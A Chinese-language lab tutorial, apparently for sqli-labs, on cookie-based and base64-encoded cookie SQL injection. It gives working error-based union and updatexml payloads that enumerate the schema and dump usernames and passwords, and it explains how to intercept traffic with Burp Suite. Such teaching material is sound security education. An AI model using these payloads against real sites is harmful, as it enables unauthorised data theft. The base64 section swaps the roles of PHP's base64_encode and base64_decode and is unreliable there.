一)cookie注入
1)cookie介绍
2)cookie注入代码分析
3)cookie注入利用
4)sqlmap安全检测
二)cookie base64编码注入
1)cookie介绍
2)cookie注入代码分析
3)cookie注入利用
4)sqlmap安全检测
——————————————————————————————————————————————————
一)cookie注入
1)cookie介绍:
服务器可以利用cookie包含信息的任意性来筛选并经常性的维护这些信息,并以此判断HTTP传输中的状态。cookie最为经典的应用是判定注册用户是否经常登录网站,用户可能会得到提示,是否在下一次进入此网站是保留用户信息以便简化登录手续,这些都是cookie的功能;另一个重要应用场合是 “ 购物车 ”之类的处理,用户可能会在一段时间内在同一家网站的不同网页中选择不同的商品,而这些信息都会写(记录)cookie以便在最后付款时提取信息。
获取cookie值:
打开浏览器中的检查工具,输入 document.cookie
就可以获取cookie值:
也可以通过burpsuite截获数据包,其中的HTTP请求头中查看cookie信息:
2)cookie注入代码分析:
在下面的代码中使用cookie传递参数(有了用户可控的输入,也可以和数据库进行交互,因此有了SQL注入产生的两个前提条件),但是却没有对cookie传递的参数进行过滤操作(也就是没有check_input()),所以导致了SQL注入漏洞的产生。
所呈现的页面效果:
3)cookie注入利用:
我们一开始截获的数据包中是不含有cookie的:
将数据包send to repeater再go进行登录,之后就会在右边的request框中看见“cookie-set”参数:
点击 “follow redirection”再进入proxy模块forward之后就会看到cookie:uname…,此时就可以在uname位置进行注入:
a)先判断是字符型还是数字型,用 \
b)判断是字符型,所以采用 --+
闭合
' or 1=1 --+
方法一:(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(schema_name,0x7e,0x7e)from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
【因为使用union select必须是union前半部分报错后半部分才能执行,所以我们就
需要让前面的uname的值是一个错误的值】
方法二:(updatexml)
' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e ),1) or 1=1 --+
d)爆表:
方法一:
v' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x7e,0x7e)from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
方法二:
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e ),1) or 1=1 --+
方法一:
v' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x7e,0x7e) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) ,floor(rand(0)*2))x from information_schema.tables group by x)a --+
方法二:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),0x7e ),1)#
方法一:
v' union select 1,2,3 from (select count(*),concat((select concat(username,0x7e,0x7e,password,0x7e,0x7e) from users limit 0,1) ,floor(rand(0)*2))x from information_schema.tables group by x)a --+
此时可以看到sqlmap的探测过程中cookie位置是存在SQL注入的:
并且最终探测到了所有的SQL注入类型:
二)cookie base64编码注入
1)base64介绍:
base64编码是从二进制到字符的过程,它可以用于在HTTP的环境下传递教程的标志信息。base64是网络上最为常见的用于传输8bit字节码的编码方式之一,它其实就是一种基于64个可打印的字符来表示二进制数据的方法。
Base64编码要求把3个8位字节(38=24)转化为4个6位的字节(46=24),之后在6位的前面补两个0,形成8位一个字节的形式。 当代码量不是3的整数倍时,代码量/3的余数自然就是2或者1。转换的时候,结果不够6位的用0来补上相应的位置,之后再在6位的前面补两个0。转换完空出的结果就用就用“=”来补位。每76个字符加一个换行符,最后的结束符也要处理(一般来说出现 == 就是结束了)进行编码的步骤:
1. 将字符串转换为二进制串(原本是3个8bit为一组);
2. 将二进制串分为以4个6bit为一组;
3. 每一组中的每一个6bit从左往右取之后高位补两个零形成一个新的字符串。
4. 查看BASE64编码表,编码的编号对应的是得出的新字节的十进制值。
例如1:
5. 原本的字符串是“张3”,将它转换为二进制串是:11010101,11000101,00110011(3*8=24)
6. 分4个6bit为一组,所以110101 011100 010100 110011为一组(4*6=24)
7. 这一组中的每一个6bit从左往右取,之后高位补两个零,所以第一个6位:110101,之后高位补两个零:00110101;第二个6位:011100,之后高位补两个零:00011100;第三个6位:010100,之后高位补两个零:00010100;第四个6位:110011,之后高位补两个零:00110011;
8. 形成新的二进制字符串:00110101 00011100 00010100 00110011
9. 最后得到的十进制串是:1cUz
base64_decode(str)是PHP中用于base64加密字符串的函数,base64_encode(str)是PHP中用于base64解密字符串的函数。
此时通过burpsuite抓获的包中的cookie中的uname不再直接显示为 admin 而是经过base64编码后的值:
此时我们进入 decode模块,将uname的值进行解码(YWRtaW4%3D中的“%3D”其实是url编码后的=):
3)cookie base64 注入:
a)判断漏洞类型:加 \
的base64编码:admin\ ====> YWRtaW5c
其他步骤不再累赘详解,所需的payload其实就是前面的payload进行base64编码之后就可以使用了。